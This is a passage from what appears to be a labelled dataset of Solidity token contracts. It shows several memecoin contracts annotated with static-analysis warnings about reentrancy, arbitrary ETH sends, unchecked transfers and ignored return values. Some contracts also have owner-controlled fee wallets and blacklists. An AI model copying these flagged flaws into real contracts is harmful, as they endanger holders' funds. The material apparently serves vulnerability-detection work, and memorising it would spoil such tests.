0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d7e586c): WDK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d7e586c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7ca9306\n\t\t// reentrancy-events | ID: 92fa98e\n\t\t// reentrancy-eth | ID: ef5dabd\n\t\t// arbitrary-send-eth | ID: d7e586c\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 530056f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 530056f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e17f021): WDK.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e17f021: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3b3ad91): WDK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3b3ad91: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c49e91c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c49e91c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 530056f\n\t\t// reentrancy-eth | ID: c49e91c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 530056f\n\t\t// unused-return | ID: 3b3ad91\n\t\t// reentrancy-eth | ID: c49e91c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 530056f\n\t\t// unused-return | ID: e17f021\n\t\t// reentrancy-eth | ID: c49e91c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 530056f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c49e91c\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 530056f\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10021.sol",
"size_bytes": 21408,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Jill is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f41437f): Jill._initialBuyTax should be constant \n\t// Recommendation for f41437f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: f17c34f): Jill._initialSellTax should be constant \n\t// Recommendation for f17c34f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c8958f): Jill._finalBuyTax should be constant \n\t// Recommendation for 0c8958f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5685f6e): Jill._finalSellTax should be constant \n\t// Recommendation for 5685f6e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b663e1c): Jill._reduceBuyTaxAt should be constant \n\t// Recommendation for b663e1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20ef621): Jill._reduceSellTaxAt should be constant \n\t// Recommendation for 20ef621: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbb6bae): Jill._preventSwapBefore should be constant \n\t// Recommendation for fbb6bae: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Jill the Squirrel\";\n\n string private constant _symbol = unicode\"Jill \";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 488af04): Jill._taxSwapThreshold should be constant \n\t// Recommendation for 488af04: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1f6f89c): Jill.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1f6f89c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 418b194): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 418b194: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4104a16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4104a16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 418b194\n\t\t// reentrancy-benign | ID: 4104a16\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 418b194\n\t\t// reentrancy-benign | ID: 4104a16\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 999bc08): Jill._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 999bc08: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4104a16\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 418b194\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4a72ca2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4a72ca2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 2d84f09): Jill._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 2d84f09: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8e1e340): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8e1e340: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cde085b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cde085b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 2d84f09\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 4a72ca2\n\t\t\t\t// reentrancy-eth | ID: 8e1e340\n\t\t\t\t// reentrancy-eth | ID: cde085b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4a72ca2\n\t\t\t\t\t// reentrancy-eth | ID: 8e1e340\n\t\t\t\t\t// reentrancy-eth | ID: cde085b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cde085b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cde085b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4a72ca2\n\t\t\t\t// reentrancy-eth | ID: 8e1e340\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4a72ca2\n\t\t\t\t\t// reentrancy-eth | ID: 8e1e340\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8e1e340\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4a72ca2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8e1e340\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8e1e340\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4a72ca2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4a72ca2\n\t\t// reentrancy-events | ID: 418b194\n\t\t// reentrancy-benign | ID: 4104a16\n\t\t// reentrancy-eth | ID: 8e1e340\n\t\t// reentrancy-eth | ID: cde085b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5d93c5b): Jill.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for 5d93c5b: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: 5d93c5b\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb6cdd5): Jill.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for eb6cdd5: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: eb6cdd5\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0309fcd): Jill.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 0309fcd: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 0309fcd\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d92f294): Jill.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for d92f294: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: d92f294\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d52cf59): Jill.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d52cf59: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4a72ca2\n\t\t// reentrancy-events | ID: 418b194\n\t\t// reentrancy-eth | ID: 8e1e340\n\t\t// reentrancy-eth | ID: cde085b\n\t\t// arbitrary-send-eth | ID: d52cf59\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e285cf9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e285cf9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8a67c2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8a67c2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 50aaf3f): Jill.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 50aaf3f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 177b75a): Jill.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 177b75a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0415753): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0415753: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e285cf9\n\t\t// reentrancy-benign | ID: 8a67c2c\n\t\t// reentrancy-eth | ID: 0415753\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8a67c2c\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 8a67c2c\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e285cf9\n\t\t// unused-return | ID: 177b75a\n\t\t// reentrancy-eth | ID: 0415753\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e285cf9\n\t\t// unused-return | ID: 50aaf3f\n\t\t// reentrancy-eth | ID: 0415753\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e285cf9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0415753\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e285cf9\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10022.sol",
"size_bytes": 23635,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TWEET is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d60cf4): TWEET._taxWallet should be immutable \n\t// Recommendation for 4d60cf4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b05cd6a): TWEET._initialBuyTax should be constant \n\t// Recommendation for b05cd6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89d630a): TWEET._initialSellTax should be constant \n\t// Recommendation for 89d630a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74e80c1): TWEET._reduceBuyTaxAt should be constant \n\t// Recommendation for 74e80c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: accbf7d): TWEET._reduceSellTaxAt should be constant \n\t// Recommendation for accbf7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6179c5f): TWEET._preventSwapBefore should be constant \n\t// Recommendation for 6179c5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Devcon Unicorn\";\n\n string private constant _symbol = unicode\"DEVA\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eeb78a6): TWEET._taxSwapThreshold should be constant \n\t// Recommendation for eeb78a6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f0dc9): TWEET._maxTaxSwap should be constant \n\t// Recommendation for 59f0dc9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n 